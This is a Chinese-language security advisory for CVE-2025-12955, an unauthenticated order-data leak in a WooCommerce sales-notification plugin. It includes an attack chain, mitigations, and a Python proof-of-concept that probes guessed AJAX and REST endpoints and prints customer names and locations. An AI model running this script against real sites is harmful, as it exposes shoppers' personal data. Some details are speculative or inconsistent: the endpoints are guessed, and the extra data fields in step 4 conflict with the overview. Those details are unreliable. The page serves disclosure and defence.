IPBUF安全漏洞报告
English
CVE-2025-12955 CVSS 7.5 高危

CVE-2025-12955 WordPress Live Sales Notifications插件未授权访问漏洞

披露日期: 2025-11-18

漏洞信息

漏洞编号
CVE-2025-12955
漏洞类型
缺少授权/未授权访问
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Live Sales Notifications for WooCommerce

相关标签

CVE-2025-12955WordPress插件漏洞缺少授权未授权访问访问控制失效WooCommerce敏感信息泄露高危漏洞AJAX漏洞Broken Access Control

漏洞概述

Live Sales Notifications for WooCommerce是WordPress平台上一款广受欢迎的电商插件,用于在网站上实时显示最近的销售通知,增强用户的购买信心和紧迫感。然而,该插件在2.3.39及以下所有版本中存在严重的安全漏洞。由于getOrders函数缺少适当的授权检查和能力验证,当插件配置为显示最近订单信息时,未经身份验证的远程攻击者可以绕过认证机制,直接调用该函数获取敏感的客户订单数据。这些数据包括买家的姓名、城市、州/省份、国家、购买时间和日期,以及详细的产品购买信息。CVSS评分7.5(高危),攻击复杂度低,无需任何权限或用户交互即可利用。该漏洞可能导致大量客户隐私信息泄露,包括个人身份信息和消费行为数据,对用户隐私和企业声誉造成严重影响。

技术细节

该漏洞属于OWASP Top 10中的Broken Access Control(访问控制失效)类别。具体来说,插件的getOrders函数在设计时未实施正确的权限验证机制。在WordPress插件开发中,应该使用current_user_can()或is_user_logged_in()等函数验证当前用户是否具有访问敏感数据的权限。但该函数仅检查插件是否配置为显示订单通知,而没有验证请求者的身份和能力等级。攻击者可以通过构造特定的HTTP GET或POST请求,直接访问该函数的执行路径。由于该函数缺少nonce令牌验证和权限检查,攻击者甚至可以在不知道任何有效凭证的情况下,通过分析前端JavaScript代码找到API端点或直接调用相关函数。成功利用后,攻击者将获得JSON格式的订单数据,包含客户姓名、地理位置、购买时间戳和产品SKU等敏感信息。攻击者可以编写自动化脚本批量抓取这些数据,用于精准营销、身份盗窃或出售给第三方。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者访问目标WordPress网站,检查是否安装Live Sales Notifications for WooCommerce插件,通过查看页面源代码或Wappalyzer等工具识别插件版本
STEP 2
步骤2: 端点识别
攻击者分析前端JavaScript文件(如lsnf-public.js),找到getOrders函数调用的API端点,识别出/wp-admin/admin-ajax.php?action=getOrders或类似的AJAX端点
STEP 3
步骤3: 漏洞验证
攻击者构造HTTP请求直接访问getOrders端点,无需携带任何认证令牌、cookie或nonce,验证服务器是否返回订单数据
STEP 4
步骤4: 数据提取
确认漏洞存在后,攻击者编写自动化脚本批量请求订单数据,提取客户姓名、电子邮件地址、居住城市、州/省份、国家、IP地址、购买时间戳、产品名称和SKU等敏感信息
STEP 5
步骤5: 数据利用
攻击者将收集到的客户数据用于精准诈骗、社会工程攻击、身份盗窃,或打包出售给数据经纪人等第三方获利

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2025-12955 PoC - Unauthenticated Access to Order Information # Target: WordPress site with Live Sales Notifications for WooCommerce plugin <= 2.3.39 target_url = "http://target-wordpress-site.com" # Method 1: Direct API endpoint access (if endpoint is known) api_endpoints = [ "/wp-json/lsnf/v1/orders", "/wp-admin/admin-ajax.php?action=getOrders", "/wp-admin/admin-ajax.php?action=lsnf_get_orders" ] print("[*] CVE-2025-12955 PoC - Testing for Missing Authorization in getOrders function") print("[*] Target:", target_url) for endpoint in api_endpoints: url = target_url + endpoint print(f"\n[+] Testing endpoint: {endpoint}") try: # No authentication required - this is the vulnerability response = requests.get(url, timeout=10) if response.status_code == 200: try: data = response.json() if isinstance(data, list) or (isinstance(data, dict) and 'orders' in data): print(f"[!] VULNERABLE! Received order data without authentication") print(f"[!] Sample data preview:") print(json.dumps(data[:3] if isinstance(data, list) else data, indent=2)) # Extract customer information orders = data if isinstance(data, list) else data.get('orders', []) for order in orders: customer_info = { 'name': order.get('first_name', 'N/A'), 'city': order.get('city', 'N/A'), 'state': order.get('state', 'N/A'), 'country': order.get('country', 'N/A'), 'product': order.get('product_name', 'N/A'), 'time': order.get('order_time', 'N/A') } print(f"[+] Customer: {customer_info['name']} from {customer_info['city']}, {customer_info['country']}") except json.JSONDecodeError: print(f"[*] Non-JSON response (status {response.status_code})") else: print(f"[*] Status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}") print("\n[*] PoC completed") print("[*] Note: This PoC is for authorized security testing only")

影响范围

Live Sales Notifications for WooCommerce <= 2.3.39 (所有版本)

防御指南

临时缓解措施
如果无法立即更新插件,可采取以下临时缓解措施:1) 在Web应用防火墙(WAF)中添加规则,拦截对疑似漏洞端点的异常请求;2) 临时禁用插件的订单通知功能,直到完成更新;3) 使用WordPress安全插件限制未授权用户对/admin-ajax.php的访问;4) 监控服务器日志,关注异常的订单数据查询请求模式;5) 考虑暂时移除该插件,使用其他替代方案。建议尽快完成版本升级,因为临时缓解措施无法根本解决代码级别的授权缺陷。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表